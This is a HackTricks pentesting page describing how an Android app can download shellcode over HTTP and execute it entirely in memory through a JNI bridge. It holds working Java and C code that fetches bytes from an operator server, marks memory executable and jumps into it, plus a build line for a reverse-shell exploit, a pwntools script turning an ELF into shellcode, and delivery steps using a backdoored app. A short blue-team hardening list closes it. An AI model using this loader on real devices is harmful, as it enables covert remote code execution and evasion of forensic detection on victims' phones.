hacktricks/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
HackTricks News Bot f302c48010 Add content from: CoRCTF 2025 — CoRPhone: Android Kernel Pwn
- Remove searchindex.js (auto-generated file)
2025-09-09 01:31:50 +00:00

5.2 KiB
Raw Blame History

Android In-Memory Native Code Execution via JNI (shellcode)

{{#include ../../banners/hacktricks-training.md}}

This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it.

Why it matters

  • Reduces forensic artifacts (no ELF on disk)
  • Compatible with “stage-2” native payloads generated from an ELF exploit binary
  • Matches tradecraft used by modern malware and red teams

High-level pattern

  1. Fetch shellcode bytes in Java/Kotlin
  2. Call a native method (JNI) with the byte array
  3. In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint

Minimal example

Java/Kotlin side

public final class NativeExec {
    static { System.loadLibrary("nativeexec"); }
    public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI side (arm64/amd64)

#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
    __builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
    jsize len = (*env)->GetArrayLength(env, sc);
    if (len <= 0) return -1;

    // RW anonymous buffer
    void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (buf == MAP_FAILED) return -2;

    jboolean isCopy = 0;
    jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
    if (!bytes) { munmap(buf, len); return -3; }

    memcpy(buf, bytes, len);
    (*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

    // Make RX and execute
    if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
    flush_icache(buf, len);

    int (*entry)(void) = (int (*)(void))buf;
    int ret = entry();

    // Optional: restore RW and wipe
    mprotect(buf, len, PROT_READ | PROT_WRITE);
    memset(buf, 0, len);
    munmap(buf, len);
    return ret;
}

Notes and caveats

  • W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed.
  • Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
  • Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC).
  • Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.

Packaging ELF → positionindependent shellcode A robust operator pipeline is to:

  • Build your exploit as a static ELF with musl-gcc
  • Convert the ELF into a selfloading shellcode blob using pwntools shellcraft.loader_append

Build

musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
  -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Transform ELF to raw shellcode (amd64 example)

# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpyed and executed by the app.

Delivery

  • Host sc on an HTTP(S) server you control
  • The backdoored/test app downloads sc and invokes the JNI bridge shown above
  • Listen on your operator box for any reverse connection the kernel/user-mode payload establishes

Validation workflow for kernel payloads

  • Use a symbolized vmlinux for fast reversing/offset recovery
  • Prototype primitives on a convenient debug image if available, but always revalidate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
  • Enforce strict code integrity (no dynamic native loading from network) and validate update channels
  • Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps

References

{{#include ../../banners/hacktricks-training.md}}